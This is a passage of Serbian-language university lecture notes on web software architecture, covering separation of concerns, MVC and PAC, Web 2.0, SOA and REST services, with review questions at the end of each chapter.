7.2 Objasniti arhitekturu klijent-server.

7.3 Objasniti karakteristike arhitekture klijent-server.

7.4 Objasniti uloge pregledaca i servera u slucaju arhitekture klijent- server.

7.5 Objasniti arhitekturu prenosenja objekata.

7.6 Objasniti karakteristike arhitekture prenosenja objekata.

7.7 Objasniti uloge pregledaca i servera u slucaju arhitekture prenosenja objekata.

7.8 Objasniti arhitekturu teskih klijenata.

7.9 Objasniti karakteristike arhitekture teskih klijenata.

7.10 Objasniti uloge pregledaca i servera u slucaju arhitekture teskih klijenata.

7.11 Objasniti slicnosti i razlike izmedu arhitekture klijent-server i arhitekture prenosenjaobjekata.

7.12 Objasniti slicnosti i razlike izmedu arhitekture klijent-server i arhitekture teskihklijenata.

7.13 Objasniti slicnosti i razlike izmedu arhitekture prenosenja objekata i arhitek-ture teskih klijenata.

Glava 8

Razdvajanje odgovornosti

Medu osnovnim principima projektovanja softvera su i dva posebno vazna za nasu ovom kontekstu:

• Princip razdvajanja interesovanja

• Princip jedinstvene odgovornosti

8.1 Princip razdvajanja interesovanja

Rezultat dekompozicicije sistema moraju biti komponente cija se interesovanja stomanje preklapaju” (Dve razlicite komponente ne treba da imaju ista interesova-nja.)U interesovanja (brige, engl. concerns) jedne komponente spada sve sto ona im-plementira i sve sto ona koristi. Princip se odnosi na sve nivoe projektovanja.

Motivacija: ako se vise komponenti stara o istim problemima onda imamo vi-sok nivo spregnutosti. Promene u jednoj komponenti cesto indukuju promeneu drugim. Tako nastaje redundantnost u implementaciji sto uzrokuje otezanoodrzavanje. Ako se interesovanja razdvoje smanjuje se nivo spregnutosti, sma-njuje se broj faktora koji uticu na pojedinacne komponente. Dok se povecava,fleksibilnost sistema, smanjuje se ucestalost gresaka i olaksava odrzavanje.

8.2 Princip jedinstvene odgovornosti

Jedna komponenta mora da ima samo jednu odgovornost, koju potpuno enkapsu-lira” (cilj je da kompontenta koju smo napravili ima jedan zadatak, da radi samotaj jedan celovit posao).

67

68 GLAVA 8. RAZDVAJANJE ODGOVORNOSTI

U odgovornosti komponente spada sve ono sto ona implementira. Principzahteva da jedna komponenta implementira samo jednu stvar (i njene sastavnedelove, prema potrebi) i to u potpunosti. Princip se odnosi na sve nivoe pro-jektovanja. Cesce se primenjuje na nize nivoe (klase, metodi). Ima slicnosti sarazdvajanjem interesovanja.

Motivacija: smanjuje broj faktora koji uticu na pojedinacne komponente, olaksavai ubrzava razvoj komponenti, smanjuje ucestalost gresaka, olaksava odrzavanje,smanjuje nivo spregnutosti i povecava fleksibilnost sistema.

8.3 Razdvajanje sadrzaja od prezentacije

U svakom korisnickom softveru postoji sadrzaj - model tj. podaci o domenu iobjekti modela; i postoji predstavljanje sadrzaja sto je graficki korisnicki interfejs iobjekti prezentacije koji cine korisnicki interfejs. To su potpuno razlicite stvari (!!!)

U kontekstu korisnickih aplikacija jedan od najznacajnijih aspekata razdvajanjainteresovanja je razdvajanje sadrzaja od prezentacije.Sadrzajem se bave komponente poslovne logike aplikacije, prezentacijom se bavekomponente korisnickog interfejsa.

Veb aplikacije su korisnicke aplikacije, pa je veliki znacaj razdvajanja prezenta-cije od sadrzaja. Razdvajanje se najcesce ostvaruje primenom arhitekture Model-pogled-kontroler” ili arhitekture Prezentacija-apstrakcija-kontroler”.Neki primeri primene su pristupi zasnovani na XML-u, jednostavni prirucni” me-todi, slozenija razvojna okruzenja.

Osnovna ideja: ako ovako predstavimo arhitekturu aplikacije, cilj je jasan, aline i nacin ostvarivanja: Postavljaju se pitanja: kako pogled pristupa modelu, kakose cita stanje modela, kako se iniciraju izmene modela, kako se izmene modela pro-pagiraju do pogleda, koja komponenta je aktivna. Otvorena pitanja omogucavajurazlicite pristupe.

8.3.1 Model-pogled-kontroler

ModelViewController (MVC) je specijalizacija razdvajanja prezentacije i sadrzaja,tzv. kruzno razdvajanje”. Model je interna reprezentacija podataka i poslovne lo-gike. Obuhvata objekte i podatke domena. Ne zna nista o korisnickom interfejsu.Zahteve za promene prima od kontrolera i obavestava pogled o promenama. Za-hteve za citanje prima od pogleda.

8.3. RAZDVAJANJE SADRZAJA OD PREZENTACIJE 69

Slika 8.1: Razdvajanje implementacije i sadrzaja (osnovna ideja)

Pogled je implementacija korisnickog interfejsa. Obuhvata sve elemente inter-fejsa, moze da neposredno cita podatke modela. Kontroler je logicka komponentakorisnickog interfejsa. On prima obavestenja o aktivnostima korisnika od pogleda,inicira aktivnosti na nivou modela i promene na pogledu.

Sta je ideja? Korisnik koristi pogled. Model odrzava i koristi trajne podatke.Pogled neposredno cita podatke modela. Model neposredno obavestava pogled opromenama i preslikava se u prezentaciju.Pitanja: kako bi se ovo primenilo u slucaju veba, sta je na serveru, sta je na pre-gledacu.

MPK” je jedan od popularnih termina u savremenom razvoju softvera kao npr.ekstremno programiranje”. Svi ga poznaju” i koriste”, a zapravo vecina resenjanije bas to. Mnogi pod MPK podrazumevaju opstiji slucaj razdvajanja prezenta-cije od sadrzaja” ili cak njegove sasvim drugacije specijalizacije. Mnoga resenjana razlicite nacine tumace i implementiraju arhitekturu, cesto previse slobodno idaleko od ideje. Ponekad je rezultat suvise komplikovan za primenu. ArhitekturaMKP je namenjena za korisnicke aplikacije. Dobro je prilagodena desktop aplika-cijama. Nije idealna za veb jer ne odgovara sasvim arhitekturi veba (nepreciznagranica izmedu servera i klijenta).


Slika 8.2: Arhitektura MPK

Slika 8.3: Pogled i kontroler zajedno cine korisnicki interfejs


Varijante u kojima bi ova arhitektura mogla da se primeni na veb:

• kontroler je veb pregledac

• pogled i kontroler zajedno cine korisnicki interfejs

• pogled se deli na dva dela: spoljni (pregledac) i unutrasnji (server)

• kontroler se deli na dva dela

• druge podele odgovornosti

Nacelno podrazumeva razdvojenost pogleda i kontrolera. Korisnik saopstava ko-mande preko kontrolera dok kontroler prenosi poruke modelu. U praksi pogledi kontroler zajedno cine korisnicki interfejs. Posledica je to sto je razdvajanjepogleda i kontrolera cesto vestacko.

Slika 8.4: Kontroler je odvojen od korisnika

Koncept: korisnik saopstava komande preko pogleda, zatim pogled prenosi porukekontroleru. Kontroler prenosi poruke modelu, a model preko pogleda ostvarujeprezentaciju. Kontroler je odvojen od korisnika, nije sastavni deo KI vec posrednikizmedu KI i modela. Posledica je da su nacelno pogled i kontroler razdvojeni dokpogled ostaje na strani klijenta, a kontroler moze biti na klijentu ili serveru.

8.3.2 Prezentacija-apstrakcije-kontroler (PAK)

Apstrakcija je interna reprezentacija podataka i poslovne logike. Ona obuhvataobjekte i podatke domena. Ne zna nista o KI, pa ni o pogledu. Komunicirau oba smera sa kontrolerom.


Prezentacija je implementacija korisnickog interfejsa. Ona obuhvata sve ele-mente interfejsa. Moze da neposredno komunicira samo sa kontrolerom.

Kontroler je logicka komponenta KI. Ima vazniju ulogu nego u slucaju MPK.Pogled i apstrakcija razmenjuju informacije samo preko kontrolera, on primaobavestenja o aktivnostima korisnika od pogleda i inicira aktivnosti na nivoumodela i promene na pogledu.

Osnovni ciljevi su potpunije razdvajanje prezentacije i sadrzaja i slojevito razdva-janje.

Bitno je uociti da su komponente slojevito razdvojene. Stepen razdvajanja jeveci nego kod MPK - kontroler ima iskljucivo ulogu posrednika. Prednost je stosu jasne odgovornosti - prezentacija i model ne moraju da znaju nista jedno odrugom. Mana je sto mora da poznaje i prezentaciju i model.Pitanja: kako bi se ovo primenilo u slucaju veba, sta je na serveru, sta je na pre-gledacu.

Granica izmedu servera i klijenta se moze lakse postaviti nego kod MPK. Razlicitirazvojni pristupi i alati nude razlicite odgovore cak i razlicite koncepte (cak delie-narizovane).

Slika 8.5: Prezentacija-apstrakcija-kontroler

Cesto se uvodi dodatna komponenta - Prezentacioni model. Prezentacioni model seuvodi radi rasterecenja komunikacije izmedu prezentacije i kontrolera. Predstavljasliku apstrakcije (modela) u obliku pogodnom za prezentaciju (primer delinearizo-vanog modela). U slucaju tankih klijenata nosilac interakcije je sesija.


Kontroler je na strani servera. U slucaju teskih klijenata nosilac interakcije jestranica kontroler je na strani klijenta.

Slika 8.6: PAK sa prezentacionim modelom

MPK podrazumeva kruzno razdvajanje, komponente su visestruko povezane, kon-ceptualno je doslednije, ali primene na vebu nisu dosledne. S druge strane, PAKpodazumeva slojevito razdvajanje, komponente su linearno povezane, razdvajanjeje cistije (npr. model ne mora da zna nista o pogledu i obrnuto) ali manje strogo.Delovi modela i pogleda se ponavljaju. Cesto se PAK arhitekture pogresno referisukao MPK.

8.3.3 Pristupi zasnovani na XML-u

Dva osnovna pristupa su: XML kao jezik za opisivanje poruka izmedu modela ipogleda (i kontrolera) - to je varijanta arhitekture model-pogled-kontroler; i XSLTtransformacije kao sredstvo prevodenja modela u pogled. Naizgled ima veliki po-tencijal. Problem je prakticno iskljucivanje koncepta kontrolera. Pristup je dobarza resavanje delova problema ali ne i celine.

Mozemo da raspoznamo sloj podataka, srednji sloj (koji priprema XML doku-mente) i prezentacioni sloj (XSLT) koji formatira i prikazuje veb sadrzaje. Arhi-tektura je najbliza PAK.

Postoje i neki jednostavni prirucni” pristupi. To su razliciti metodi razdvajanjaodgovornosti koji se uvode prema potrebi i mogucnostima”. Obicno se oblikuju kaoprinicipi rada u razvojnom timu. Mogu da budu veoma korisni u lokalnoj primeni,ali nemaju znacajan globalni karakter. Primena izabrane arhitekture je relativnoneobavezna. Obradicemo primer koji je cest u hibridnom pristupu razdvajanjeakcija i prikaza”.


8.3.4 Razdvajanje akcija i prikaza

Kod hibridnog pristupa cesto moze da bude potrebno da se u istom programskomkodu izvode transakcije i pripremaju prezentacije. Nekada se po vise segmenatatransakcija i priprema prezentacije preklapaju ili mesaju u istom modulu. Mesanjetransakcija i prezentacije se odlikuje: niskim razdvajanjem korisnickog interfejsa iposlovne logike, otezanim razumevanje koda, ucestalim greskama, otezanim okol-nostima za otklanjanje gresaka kao i otezanim odrzavanjem koda.

Pristup razdvajanje akcija i prikaza” tezi da razdvoji poslove. Svaki program-ski modul mora da radi tacno jedan posao ili da izvodi transakciju ili da pripremaprezentaciju, bez menjanja globalnih podataka osim, eventualno, radi pravljenjadnevnika aktivnosti i slicno.

Kako? Ako URI pokrece” modul koji priprema prezentaciju onda taj modul pri-prema prezentaciju i niposto ne menja sadrzaj. Ako URI pokrece” modul kojiizvodi transakciju onda taj modul samo izvodi transakciju i niposto ne pripremasadrzaj a po zavrsetku posla izvodi redirekciju na drugi URI cije otvaranje pokrecedrugi modul za pripremu prikaza odgovarajuceg sadrzaja.

Ovo je prirucni metod zato sto postoji veliki broj malih modula u kojima su raz-dvojene akcije od prikaza umesto manjeg broja vecih razdvojenih modula. Modulinisu medusobno strogo razdvojeni, grupisu se prema domenu, a ne prema funkciji.Resenje se odlikuje relativno visokom spregnutoscu modula. Primena izabrane ar-hitekture je relativno neobavezujuca. Primena je stvar dobre volje” programera.Nedosledna primena moze da donese vise stete od koristi.

8.4 Veb 2.0

Ne postoji formalna definicija, termin je veoma popularan poslednjih godina,koristi se cak i termin Veb 3.0. Iz ugla korisnika: bogat korisnicki interfejs, pojacanvizualni dozivljaj, visi nivo interaktivnosti na nivou stranice, dinamicko menjanjeotvorene stranice, prevlacenje, razdvajanje stranica od podataka i portali kao in-tegrisane stranice.

Sistemske karakteristike: visi nivo dekompozicije, jasno prepoznati slojevi sistema.Slojevi sistema su dosledno razdvojeni. Primena poznatih arhitektura (MPK,PAK). Visi stepen medusobne integracije razlicitih aplikacija. Slojevi sistema sedele za vise aplikacija. Model se cesto implementira kao servis odvojen od kon-kretne veb aplikacije.

8.5. PITANJA 75

Koristi se najcesce arhitektura teskih klijenata. Takode se koriste arhitek-ture orijentisane prema servisima (SOA). Veb se jos koristi kao medij i sadrzajistovremeno, komunikaciona infrastruktura preduzeca i socijalna komunikacionainfrastruktura.

8.4.1 Preduslovi za Veb 2.0

Jedan od preduslova za Veb 2.0 su snazniji klijentski racunari. Oni su potrebniza: omogucavanje bogatog korisnickog interfejsa, programsko upravljanje multime-dijalnim elemenatima korisnickog interfejsa i za izvrsavanje slozenih izracunavanja.Potrebna je i velika brzina komunikacije. Za prikazivanje jedne stranice je neop-hodno preuzimanje velikog broja sadrzaja, neophodno je kratko vreme odziva,pogotovo jer je sve veca kolicina resursa na stranici. Za sve to je neophodna visokabrzina protoka.

Jos jedna stvar koja je preduslov za Veb 2.0 je i visok stepen standardizacije.Sto se veci zahtevi postavljaju pred klijentske sisteme, to oni moraju imati vecemogucnosti koje moraju biti uskladene da se aplikacije ne bi pisale za svaku plat-formu posebno.

Sve je to tesko postici bez skalabilnosti servera. Tesko je predvideti opterecenje naduzi period. Zbog toga se koriste razvojne platforme prilagodene i malim i velikimsistemima. Cilj je sto jednostavnije prosirivanje sistema (veb serveri, serveri bazapodataka, alikativni serveri).

Primeri za Veb 2.0 su: Gmail (mail.google.com), Google Maps (maps.google.com),Flickr (www.flickr.com), Delicious (delicious.com), Ajax Daddy (www.ajaxdaddy.com),itd.

8.5 Pitanja

8.1 Objasniti princip razdvajanja interesovanja.

8.2 Objasniti princip jedinstvene odgovornosti.

8.3 Objasniti principe razdvajanja interesovanja i jedinstvene odgovornosti u kon-tekstu korisnickih aplikacija.

8.4 Objasniti principe razdvajanja interesovanja i jedinstvene odgovornosti u kon-tekstu Veb aplikacija.

8.5 Sta je Model-pogled-kontroler? Objasniti.

8.6 Nacrtati i objasniti konceptualni dijagram arhitekture Model- pogled-kontroler.


8.7 Kako se u praksi primenjuje arhitektura Model-pogled-kontroler?

8.8 Sta je Prezentacija-apstrakcija-kontroler? Objasniti.

8.9 Nacrtati i objasniti konceptualni dijagram arhitekture Prezentacija-apstrakcija-kontroler.

8.10 Nacrtati i objasniti konceptualni dijagram arhitekture Prezentacija-apstrakcija-kontroler sa prezentacionim modelom.

8.11 Objasniti razlike izmedu lakih i teskih klijenata.

8.12 Objasniti razlike i slicnosti arhitektura MPK i PAK.

8.13 Objasniti koncept razdvajanja akcija i prikaza.

8.14 Sta je Veb 2.0? Navesti osnovne karkteristike.

8.15 Objasniti preduslove za nastajanje i upotrebu Veba 2.0.

Glava 9

Servisi

9.1 Arhitekture orijentisane prema servisima -

SOA

Osnovni zadatak softverske arhitekture je da pruzi resenje problema, perfor-manse, fleksibilnost i prosirivost. Cesta greska je zadrzavanje na prva dva aspekta,bez dovoljnof razmatranja preostalih. Fleksibilnost arhitekture predstavlja spo-sobnost da se citava arhitektura prilagodava promenama u okruzenju i primenjujeu novim okolnostima, i da se elementi arhitekture prilagodavaju promenama uokruzenju, primenjuju u novim okolnostima i u drugom novim projektima. Flek-sibilnost je bliska ponovnoj upotrebljivosti. Prosirivost arhitekture je svojstvoarhitekture da moze da se prosiruje i da se prosirivanje ostvaruje primarno doda-vanjem novih elemenata, bez znacajnog menjanja postojecih elemenata. Fleksi-bilnost i prosirivost omogucavaju pojednostavljivanje zivotnog ciklusa sistema zasve ucesnike - modularnost, konfigurabilnost, robusnost, mogucnost brze reakcijena promene u poslovnim zahtevima i drugo.

Arhitektura orijentisana prema servisima (eng. Service-Oriented Architecture,SOA) je rezultat evolucije softverske industrije sa ciljem postizanja maksimalnefleksibilnosti i prosirivosti. Modularizacijom se celine sistema oblikuju u kompo-nente koje mogu samostalno” pruzaju odredene celovite” usluge. Takve kompo-nente se nazivaju servisi.

SOA je arhitekturalni stil koji promovise koriscenje labavo poveza-nih servisa radi obezbedivanja visoke fleksibilnosti na interoperabilani tehnoloski nezavisan nacin.

SOA je arhitekuralna paradigma koja se primarno odnosi na dizajn softvera (ane na tehnologiju). Primena koncepta SOA uvodi nov koncept aplikacije:Aplikacija predstavlja kompoziciju i grupisanje labavo povezanih, usko definisanihi na standardima utemeljenih servisa u vece i slozenije celine.

77

78 GLAVA 9. SERVISI

9.1.1 Uopstavanje komunikacije

Da bi servisi bili ponovo primenjivi, potrebno je da imaju relativno standardi-zovane nacine povezivanja i ostvarivanja komunikacije. Na nivou SOA neophodnoje da logika bude razdvojena od komunikacije, da svi servisi jednog sistema koristeiste protokole komunikacije i povezivanja, da protokole komunikacije i povezivanjaimplementira posebna komponenta. Na nivou arhitekture (a ne tehnologije) se po-stize visok nivo uopstavanja i fleksibilnosti. Komponenta za povezivanje obuhvatatehnoloski zavisan kod a ostatak koda je lako prenosiv. U slucaju promene nacinakomunikacije, menja se ili zamenjuje samo komponenta za komunikaciju.

9.1.2 SOA i distribuirani objekti

Sistemi za distribuiranje objekata (CORBA, COM, itd) kao osnovne jediniceimaju entitete. SOA kao osnovne jedinice ima usluge (servise). Servis odgovarajednom zaokruzenom elementu poslovanja kao automatizovan ili slabo interaktivanslucaj upotrebe.

Motivacija

Savremeni poslovni procesi su dinamicni i distribuirani, odlikuju se jasnom po-delom odgovornosti medu ucesnicima i delovima procesa, fluktuiraju, pri cemu supromene najcesce lokalnog karaktera - odnose se na pojedine delove ili ucesnike.Softverska implementacija takvih procesa mora da prati njihovu logiku. SOA tocini vrlo dobro.

9.1.3 Istorijat arhitektura

• Monolitna arhitektura - sve (podaci, korisnicki interfejs, obrada) se nalaziu okviru jednog sistema.

• Potprogrami i udaljene procedure - klijent (glavni” program) salje za-htev poznatom izvrsiocu (potprogramu, udaljenom serveru) sa datim para-metrima. Zatim klijent dobija odgovor i nastavlja sa radom.

• Povezivanje udaljenih objekata - koncept poslovnih objekata (delova kojiukljucuju i ponasanje koje moze da se menja u zavisnosti od konteksta),sistem distribuiranih objekata.

• Obrada poruka - arhitekture distribuiranih objekata su uglavnom jakospregnute, arhitektura obrade poruka apstrahuje interakciju konceptom raz-mene poruka radi spustanja nivoa spregnutosti.

• Integracija poslovnih aplikacija (Enterprise Application Integration, EAI)- unapredivanje i spajanje prethodnih arhitektura, udaljeni objekti(CORBA,

9.1. ARHITEKTURE ORIJENTISANE PREMA SERVISIMA - SOA 79

COM, itd), redovi poruka, razmena podataka preko XML-a, cuseslojne ar-hitekture i drugo.

• SOA - Softverski elementi kao samostalni” servisi. Otvoreni standard povezi-vanja. Projekat arhitekture ne ulazi u detalje implementacije vec se bavi sa-stavljanjem”. Objektno-orijentisane metodologije razvoja. Savremeni prin-cipi razvoja (modularnost, enkapsulacija, niska spregnutost, ponovna upo-trebljivost, implementacija kao sastavljanje, itd).

9.1.4 SOA iz razlicitih uglova

Iz poslovnog uglaSOA je skup poslovnih servisa.

Iz ugla softverske arhitektureServisi su deo slozene arhitekture koju cine pruzalac servise (service provi-der), korisnik servisa (consumer) i opis interfejsa servisa (interface-basedservice description).

Iz ugla impelemntacijeServisi se implementiraju primenom otvorenih standarda i protokola kao stosu, na primer, Web servisi.

SOA Viseslojne arhitekture

Heterogena Homogena

Nezavisno od jezika Zavisno od jezika

Masivno distribuirani servisi Centralizovani nivoi aplikacije

Izdavac/pretplatnik Vodenje zahtevima/odgovorima

Internet aplikacije bogate AJAX-om HTML stranice

Tabela 9.1: SOA i viseslojne arhitekture

9.1.5 Servisi u kontekstu SOA

Servis je izdvojena (diskretna) jedinica poslovne (tehnicke) funkcije, koja jeponovno upotrebljiva. Servisi su slabo spregnuti sto znaci da su definisani interfej-sima nezavisnim od implementacije, korisnik zavisi samo od interfejsa i promovisese fleksibilnost pri izmenama implementacije. Takode, servisi su povezivi, trans-parentni u odnosu na lokaciju tj. ne koriste druge servise na osnovu lokacije, imedusobno saraduju (interoperabilni su). Konacno, servisi su raspolozivi nezavi-sno od implementacije ili protokola prenosa (otvoreni standardi).

80 GLAVA 9. SERVISI

Korisnici i pruzaoci servisa mogu biti implementirani na razlicitim platformama,a komunikacioni protokoli servisa treba da budu kompatibilni sa razlicitim plat-formama.

Servise nudi pruzaoc servisa (Service Provider) - oni objavljuju interfejse i politike.Koriste ih korisnici servisa (Service Consumer) - koriste interfejse. Posreduju me-dijatori servisa (Service mediators) - obezbeduju otkrivanje, izbor, pracenje radai drugo.

Servisi se opisuju primenom standardizovanih postupaka za opisivanje interfejsatzv. metapodaci servisa. Odreduju se servis, njegove operacije, ulazni i izlazni pa-rametri, kako se servisu pristupa, kao i koja je njegova lokacija (service endpoint).

Vrste servisa

Osnovne vrste servisa su

• Servisi poslovnih procesa (business process services) - Poslovni procesi susekvence aktivnosti koje ispunjavaju jedan poslovni cilj. Jedan proces semoze predstaviti kao servis. Na primer, proces prijave za dobijanje kredita.Servisi poslovnih procesa mogu da se sastoje od drugih servisa (tj. mogu ihkoristiti).

• Servisi poslovnih transakcija (business transaction services) - predstavljajuposlovne funkcije koje menjaju neko stanje poslovanja. Na primer nabavkamaterijala, prenos sredstava, svako menjanje poslovnih podataka.

• Servisi poslovnih funkcija (business function services) - predstavljaju funkcijekoje ne menjaju stanje poslovnih procesa ili isporucuju podatke ili izvrsavajujednostavnija izracunavanja. Na primer, konverzija valuta ili izvestaj (uformi podataka)

• Servisi tehnicih funkcija (technical function services) - Poslovno upotrebljiviservisi koji ne pruzaju poslovne funkcije, vec obezbeduju tehnicke ili in-frastrukturne funkcije. Na primer pracenje dogadaja, provera autorizacija,privera stanja sistema, raspolozivosti servisa i sl.

Registar servisa prestavlja vid kataloga putem koga mogu da se obavljaju (pu-blish) i pronalaze (discover) servisi. Servise objavljuju organizacije koje pruzajuservise organizacije ili radne jedinice u organizaciji. Registar servisa je sredstvoza dodatno spustanje nivoa spregnutosti. Korisnik ne mora da zna ko pruza ser-vis, gde se fizicki nalazi implementacija servisa, a u nekim slucajevima cak ni svedetalje interfejsa (operacija).

9.2. REST SERVISI 81

Koncept SOA zahteva da postoji registar servisa, ali neke arhitekture ga ipak neuvode. Bez registara je nesto visi nivo spregnutosti, zato sto se servisi neposrednopovezuju.

9.2 REST servisi

Prenosenje reprezentacije resursa” (engl. Representational State Transfer) jestil oblikovanja mreznih aplikacija, ne samo Veb aplikacija. Pociva na protokolukomunikacije klijent-server bez stanja, koji se moze kesirati. Nije obavezno, ali seskoro uvek koristi HTTP (ili HTTPS).

Motivacija za razvoj REST-a je pravljenje modela arhitekture kojiopisuje kako bi Veb trebalo da radi, takvog da moze da posluzi kaoorijentir pri definisanju standarda protokola za Veb.”

REST bi trebalo da podseca na ponasanje dobro projektovane Veb apli-kacije: mreza stranica (virtualni konacni automat), kod koje korisnikprolazi kroz aplikaciju biranjem veza (prelasci stanja), sto rezultujeprenosenjem nove stranice (naredno stanje aplikacije) korisniku i nje-nim pripremanjem za upotrebu.” - Roj Filding

Cilj je zameniti slozene protokole jednostavnim. Umesto protokola CORBA, RPC,SOAP koristi se HTTP (bez umotavanja poruka). Aplikacije koje podrzavaju stilarhitekture REST nazivaju se RESTful aplikacije. Za sve operacije PCMB (engl.CRUD) aplikacija koristi usluge servisa putem odgovarajucih protokola i imena.Sve operacije srednjeg sloja se definisu kao jednostavne operacije (PCMB) na po-tencijalno slozenim objektima.

Osnovni oblik interfejsa: resurs kome se pristupa odreduje URI dok se operacijeodreduju metodom protokola HTTP:

• POST pravljenje novog resursa

• GET citanje resursa

• PUT menjanje resursa

• DELETE brisanje resursa

Ne moraju za svaki resurs biti podrzane sve operacije.

82 GLAVA 9. SERVISI

9.2.1 Komponente arhitekture

• Klijent i server

• Imenuju se resursi, a ne procesi. Resursi su entiteti koji se koriste. De-lovi logicke adrese (URI) uobicajeno identifikuju kolekciju/klasu podatakakojoj se pristupa, a ne operaciju. Umesto Veb servisa poput ”getStudentDe-tals”koristi se ime poput studentDetails. Da li je u pitanju citanje ili pisanjebira se metodom ili parametrima.

• Uniforman interfejs - za svaki resurs postoje najvise 4 operacije (HTTP me-todi). Ne moraju sve operacije da budu podrzane za sve resurse.

• Medusobna povezanost resursa - jedan resurs ne obuhvata veliki broj manjih.Umesto toga sa njima se moze povezati prema potrebi

• Nema stanja - vaki novi zahtev mora da nosi sa sobom SVE informacijepotrebne da bi se na njega odgovorilo. Zahtev ne sme da pretpostavlja da jeklijent vec komunicirao sa serverom.

• Kesirajuci protokol - resursi dopustaju kesiranje kada god je to moguce, uznavodenje vremena isticanja. Server navodi isticanje.

• Proksi serveri ne ometaju rad ako se u radu postuju osnovni principi (GETje samo citanje) i ako proksi serveri postuju osnovne principe (ne kesiraju sezahtevi POST).

9.2.2 ROA

REST orijentisana arhitektura (eng. REST Oriented Architecture) je SOA za-snovana na uslugama REST. Osnovne prednosti Veb servisa (SOAP) su zrelostplatforme, automatska provera ispravnosti tipova podataka koji se razmenjuju.Prednosti ROA su laksa implementacija, brzina razvoja, nema dodatnih eleme-nata arhitekture.

9.2.3 Slicnosti i razlike sa drugim servisima

Slicnosti sa drugim servisima su nezavisnost od platforme i nezavisnost od pro-gramskog jezika, pocivaju na standardnim tehnologijama, mogu da se koriste krozzastitni zid, upotreba u svakom slucaju zahteva prethodno poznavanje podataka.Sustinski su ravnopravni. Sve sto se moze napraviti sa jednom arhitekturom, mozei sa drugom.

Razlike u odnosu na druge servise je to sto REST definise resurse a ne usluge.Svaki resurs obezbeduje samo genericki pristup - PCMB. To moze da bude znacajnoodstupanje od koncepta SOA. Za pravu SOA neophodno je da u centru paznje budu

9.2. REST SERVISI 83

usluge, interfejs usluga mora da se prevede u operacije PCMB na odgovarajucimresursima. Takode, REST odgovori mogu da sadrze URI-je svojih komponenti ilipovezanih resursa ako su adrese i zahtevi razdvojeni, to nije moguce. Ne obuhvatasigurnosne mehanizme ali koristi uobicajene tehnike, korisnicko ime, lozinke, to-keni, HTTPS. Kes moze da jasno razlikuje sta se kesira, a sta ne. Zahtevi GETse mogu kesirati, a ostalo ne sme. Semantika je bliska Semantickom vebu, svakiresurs ima svoj URI.

Jedna od osnovnih karakteristika arhitekture REST je nepostojanje stanja. Upo-treba kolacica odstupa od arhitekture REST. Moze da se prihvati samo u okvirudrzanja sesije i autorizacije. Zbog nepostojanja stanja je svaki put neophodnoeksplicitno navesti sve potrebne informacije i proveriti ispravnost podataka i smi-slenost operacije.

Primer zahteva veb servisa izgleda ovako:

<?xml version="1.0"?>

<soap:Envelope

xmlns:soap="http://www.w3.org/2001/12/soap-envelope"

soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">

<soap:body pb="http://www.app.com/students">

<pb:GetDetails>

<pb:StudentID>12345</pb:StudentID>

</pb:GetDetails>

</soap:Body>

</soap:Envelope>

REST zahtev je ugraden u URI na koji se prosleduje:

http://www.app.com/students/studentDetails/12345

REST nije standardizovan i verovatno nece biti zato sto je REST stil arhitek-ture, a ne konkretna tehnologija. Dovoljno je jednostavan da standardizacija nijeneophodna. Ipak, REST pociva na standardima HTTP, URI, MIME tipovi.

9.2.4 Neka dobra pravila

• Za svaku vrstu resursa kojoj je potrebno pristupati, obezbediti poseban URI.

• Za imenovanje resursa koristiti imenice, imenuju se resursi a ne operacije.

• Ne koristiti fizicke adrese. Umesto .../student003.xml bolje je .../student/003,da bi korisniku bila ocigledna dinamicka priroda.

• Implementacije zahteva GET ne smeju da menjaju stanje.

84 GLAVA 9. SERVISI

• Uvek za citanje koristiti metod GET, a ne POST.

• Ukljuciti odgovarajuce REST adrese u opis isporucenih podataka, bolje negoda ih korisnik sam izracunava na osnovu kljuceva. Na primer, ako je rezultatneki skup proizvoda, uz svaki proizvod je dobro navesti i odgovarajucu RESTadresu resursa, tako se povecava obim prenosa podataka, ali se olaksavaupotreba.

• Koristiti sto jednostavniji nacin navodenje upita, izbegavati dodatne pa-rametre ako nisu neophodni. Bolje je .../studenti/20110110 nego .../stu-denti?brIndeksa=20110110.

• Koristiti kosu crtu za predstavljanje hijerarhije celina/deo, kao i hijerarhijeroditelj/dete.

• Upiti ne treba da vracaju velike kolekcije podataka, umesto toga, trebalo bida se omoguci stranicenje, na osnovu argumenata upita.

• Dokumentovati zahteve i rezultate tim pre sto njihov sadrzaj moze bitiprakticno bilo sta. Sam metod dokumentovanja nije toliko vazan. Mozeda se koristi WADL, kao za Veb servise, moze i obican tekst sa primerima,

9.2.5 Ceste greske

• Pravljenje objedinjenih adresa za razlicite namene npr. uopstena adresa/services/rest.

• Pravljenje adresa cije ime predstavlja operacije a ne resurse npr. /servi-ces/students/add.

• Prosledivanje parametara slozenih poziva u obliku XML-a. Svi parametrimoraju da budu u okviru URI-ja. U telu zahteva moze samo da bude objekatkoji se salje (radi dodavanja ili menjanja).

• Upotreba metoda GET koja menja stanje sistema.

• Upotreba metoda POST koja samo cita stanje sistema.

9.3 Pitanja

9.1 Sta mora da pruzi softverska arhitektura?

9.2 Objasniti fleksibilnost arhitekture softvera.

9.3 Objasniti prosirivost arhitekture softvera.

9.4 Sta je Arhitektura orijentisana prema servisima?

9.3. PITANJA 85

9.5 Objasniti uopstavanje komunikacije u kontekstu SOA.

9.6 Objasniti pojam aplikacije u kontekstu SOA.

9.7 Objasniti motivaciju za upotrebu SOA.

9.8 Karakteristike SOA?

9.9 Odnos SOA i troslojnih arhitektura?

9.10 Sta je servis u kontekstu SOA? Karakteristike servisa?

9.11 Navesti i ukratko objasniti vrste servisa SOA.

9.12 Sta su servisi poslovnih procesa? Objasniti.

9.13 Sta su servisi poslovnih transakcija? Objasniti.

9.14 Sta su servisi poslovnih funkcija? Objasniti.

9.15 Sta su servisi tehnickih funkcija? Objasniti.

9.16 Sta je registar servisa?

9.17 Sta je arhitektura REST?

9.18 Objasniti motivaciju za definisanje arhitekture REST.

9.19 Sta su RESTful aplikacije? Objasniti.

9.20 Objasniti osnovni oblik interfejsa arhitekture REST.

9.21 Objasniti komponente arhitekture REST.

9.22 Sta je ROA?

9.23 Objasniti slicnosti izmedu ROA i SOA.

9.24 Objasniti razlike izmedu ROA i SOA.

9.25 Koja su pravila za pravljenje dobrih REST servisa?

9.26 Koje su ceste greske pri pravljenju REST servisa?

86 GLAVA 9. SERVISI

Glava 10

HTML 5

10.1 Sintaksa i parsiranje

